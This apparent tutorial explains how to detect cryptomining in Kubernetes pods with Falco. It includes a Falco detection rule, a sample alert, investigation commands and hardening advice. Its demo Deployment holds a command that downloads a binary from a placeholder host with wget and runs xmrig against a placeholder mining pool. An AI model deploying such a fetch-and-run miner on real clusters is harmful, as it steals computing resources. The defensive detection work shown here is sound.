Detect Cryptomining in Kubernetes Pods with Falco (2026)

Falco is surprisingly adept at spotting cryptomining in Kubernetes because it operates at the kernel level, seeing system calls that higher-level tools miss.

Let’s see it in action. Imagine a pod that’s supposed to be running a simple web server, but it’s secretly mining Monero.

# First, ensure Falco is running in your Kubernetes cluster.
# You can deploy it using Helm:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --namespace falco --create-namespace

# Now, let's simulate a malicious pod.
# Create a deployment that runs a container with a suspicious shell process.
apiVersion: apps/v1
kind: Deployment
metadata:
  name: cryptominer-demo
spec:
  replicas: 1
  selector:
    matchLabels:
      app: cryptominer
  template:
    metadata:
      labels:
        app: cryptominer
    spec:
      containers:
      - name: miner
        image: ubuntu:latest # A common base image, easy to exploit
        command: ["/bin/sh", "-c", "sleep 3600 && apt-get update && apt-get install -y wget && wget https://example.com/xmrig -O /tmp/xmrig && chmod +x /tmp/xmrig && /tmp/xmrig -o pool.example.com:3333 -u wallet_address -p x"]

When this pod starts, Falco, monitoring the Kubernetes node’s kernel, will see a chain of suspicious system calls:

execve of /bin/sh
execve of sleep
execve of apt-get
execve of wget
execve of /tmp/xmrig (or whatever the miner executable is named)

Falco’s rules are designed to catch these patterns. A typical rule for detecting cryptomining might look like this:

- rule: Suspicious crypto miner process
  desc: A crypto mining tool (e.g., xmrig, cpuminer) was executed.
  condition: >
    (
      (proc.name = "xmrig" or proc.name = "cpuminer" or proc.name = "ethminer")
      or
      (proc.name = "sh" and proc.args contains "xmrig" and proc.args contains "-o")
    )
    and proc.cwd != "/usr/local/bin" # Exclude known safe locations if applicable
  output: Suspicious crypto miner process (name=%proc.name, cmdline=%proc.cmdline, pid=%proc.pid)
  priority: CRITICAL
  tags: [container, crypto-mining, cryptojacking]

This rule triggers when processes named xmrig, cpuminer, or ethminer are executed, or when a shell (sh) is invoked with arguments that strongly suggest it’s launching a miner (like containing "xmrig" and a pool address). Falco doesn’t just look at the process name; it analyzes the command line arguments and even the current working directory for more context.

The core problem cryptomining exploits in Kubernetes is often insufficient network egress filtering and overly permissive pod security policies. Pods that don’t need to download arbitrary binaries or connect to external mining pools shouldn’t be allowed to. Falco acts as a detective, observing the behavior of processes within your pods, even if the container image itself isn’t inherently malicious but is used maliciously.

Here’s how you can tune Falco for better detection. The key is understanding the syscalls and process lineage. If you see a process like wget downloading a binary that then executes, and that binary tries to establish outbound TCP connections to non-standard ports (like 3333, 4444, etc., common for mining pools), Falco can flag it.

To diagnose a potential cryptomining incident detected by Falco, you’d look for alerts similar to this:

08:30:00.123 - Critical - Suspicious crypto miner process (name=xmrig, cmdline=/tmp/xmrig -o pool.example.com:3333 -u wallet_address -p x, pid=12345)

From this alert, you’d extract:

proc.name: xmrig
proc.cmdline: /tmp/xmrig -o pool.example.com:3333 -u wallet_address -p x
proc.pid: 12345

Then, you’d use kubectl exec to get into the pod and investigate:

# Find the pod name associated with the alert
kubectl get pods -l app=cryptominer

# Exec into the pod
kubectl exec -it <pod-name> -c miner -- /bin/sh

# Inside the pod, investigate the process
ps aux
ls -la /tmp
cat /tmp/xmrig # If it's a script, though miners are usually binaries
netstat -tulnp # To see network connections

The fix involves several layers:

Identify the malicious process: Use the Falco alert to pinpoint the exact process and its command line.
Terminate the pod: kubectl delete pod <pod-name>
Remove the malicious image/source: If the image was compromised or pulled from an untrusted source, remove it.
Review Pod Security Policies (PSPs) or Pod Security Admission (PSA): Ensure pods cannot execute binaries from unexpected locations (like /tmp) or establish outbound connections to arbitrary IP addresses and ports.
- Example PSP/PSA: Disallow hostPath volumes that could be used to stage miners, restrict allowedHostPorts, and use NetworkPolicy to limit egress.
Scan container images: Use vulnerability scanners to detect known malicious components before deployment.
Restrict process execution: Use seccomp profiles or Falco’s syscall rules to prevent unauthorized system calls or process executions, especially from within containers. For instance, you could create a rule to alert on execve calls originating from /tmp.

The most common cause for this type of alert is a container image that has been backdoored or a legitimate container that’s been tricked into downloading and executing a miner. Less common, but still prevalent, is an attacker gaining shell access to a running pod and manually deploying a miner.

When Falco detects a miner process, one of the most overlooked aspects is the network activity. The miner process will attempt to establish persistent outbound TCP connections to mining pools. While the Falco rule might catch the execution of the miner, a separate rule focusing on outbound network connections from unexpected processes or to unusual ports can provide an earlier warning. For example, a rule looking for connect syscalls by processes not typically expected to make external network connections, especially to ports outside the standard 80/443 range, can be highly effective.

The next error you’ll hit after fixing this is likely a CrashLoopBackOff on a different pod because you’ve tightened security policies too much, preventing legitimate traffic.